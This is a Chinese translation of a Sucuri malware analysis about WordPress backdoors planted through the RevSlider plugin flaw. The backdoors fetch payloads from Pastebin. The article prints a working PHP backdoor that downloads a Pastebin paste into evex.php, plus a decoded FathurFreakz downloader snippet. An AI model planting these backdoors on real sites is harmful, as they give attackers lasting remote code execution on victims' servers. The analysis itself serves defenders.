来继续我们的系列文章,本期关于黑客利用旧版本的流行RevSlider插件漏洞拿到shell后暗藏后门的方方面面揭秘。
本文我们将告诉你一个不同的后门变种,它利用合法的Pastebin.com服务来托管恶意文件。
如下是一个后门代码示例:
<?php if(array_keys($_GET)[0] == 'up') { $content = file_get_contents ("http://pastebin. com/raw.php?i=JK5r7NyS"); if($content){ unlink('evex.php'); $fh2 = fopen("evex.php", 'a'); fwrite ($fh2,$content); fclose($fh2); } }else{ print "test"; }
这里是一种典型的后门。它从远程服务器下载恶意代码,并将其保存在一个可控的网站文件,使其可以执行恶意代码。有趣的是远程服务器的选择,并不是托管在黑客自己的网站,甚至不是黑客控制的网站,现在是pastebin.com -最流行的共享代码片段网站。
从技术上讲,犯罪分子也只是使用pastebin共享了代码片段。唯一的问题是这些代码是恶意的,并用于非法黑客活动。
而这正源于Pastebin.com允许用户下载 "raw" 格式的代码(既不是HTML格式,也没有界面包装,就是纯粹的代码——请注意上例网址的raw.php)
再来一个稍微复杂的后门案例,通过RevSlider插件漏洞上传的shell:
如上图所示,你可以看到,这段代码将base64编码临时变量$temp注入在WordPress核心文件wp-links-opml.php顶部。你可以看到$temp解密后内容:
我们很容易看到上述代码中参数wp_nonce_once就是Pastebin snippet ID。通过file_get_contents函数下载pastebin上自己的代码片段 然后通过file_put_contents向服务器写入后门文件。
给wp-links-opml.php文件传递可变的snippet ID,让后门变的灵活性机动性很强,又很难被统一限制掉。
这里我得提提印尼的黑客们有个加密器,放在Pastebin.com里面用最好不过了。我们通常称之为Yogyakarta Black Hat PHP加密或者 FathurFreakz加密。
这种加密的常见方式是:在 Pastebin.com网站上创建PHP代码,然后加密指定代码的链接,然后代码混淆成如下这样了:
解密上述代码 发现其实很简单:
function FathurFreakz($ct3){ xcurl('http://pastebin.com/download.php?i='.code($ct3)); } FathurFreakz(CODE);
这段代码使用xcurl函数下载pastebin文件,通过控制i参数,然后使用FathurFreakz加密代码。这里他们使用了download.php,其作用类似于raw.php,也是可以下载源文件而不被解析的。
顺便说一下,目前很多黑客喜欢使用pastebin.com暗藏后门,所以他们中的一些后门解密后看起来像这样:
Pastebin有着一直被各种级别的黑客使用的悠久历史。许多黑客群体通过Pastebin服务共享被盗的著名公司数据或者窃取来的用户电脑数据。一些代码片段甚至被用来恶意攻击,他们可能包含恶意的加密链接,甚至是Base64编码的恶意二进制代码。
这里只是几个显著的案例:
2010:云键盘记录器?Brian Krebs 谈pastebin.com上的键盘记录器
2011:Pastebin: How a popular code-sharing site became the ultimate hacker hangout
2012 : Pastebin: 黑客于此宣扬攻击成果
2013 : Pastebin被用作恶意代码分发的二次下载
2014 Sony黑客释出更多数据,许诺“圣诞礼物”(Sony黑客最近释出的数据也公开在Pastebin上)
此次,我们看到了相当数量的与Pastebin相关的真实攻击,这对我们而言还是一个相当陌生和新颖的领域。
这也提醒我们这些安全研究人员对于在公 共代码片段网站上分享我们所发现的恶意代码这种行为,应该非常谨慎——托管在Pastebin.com上恶意代码这很容易被黑客直接加以利用。
在分享这些 代码之前,对代码做一些明显的修改使其无法直接做为原生代码执行,不失为一个好办法。
【 原文:sucuri.net 翻译:yiyanghuadan & 裤裆】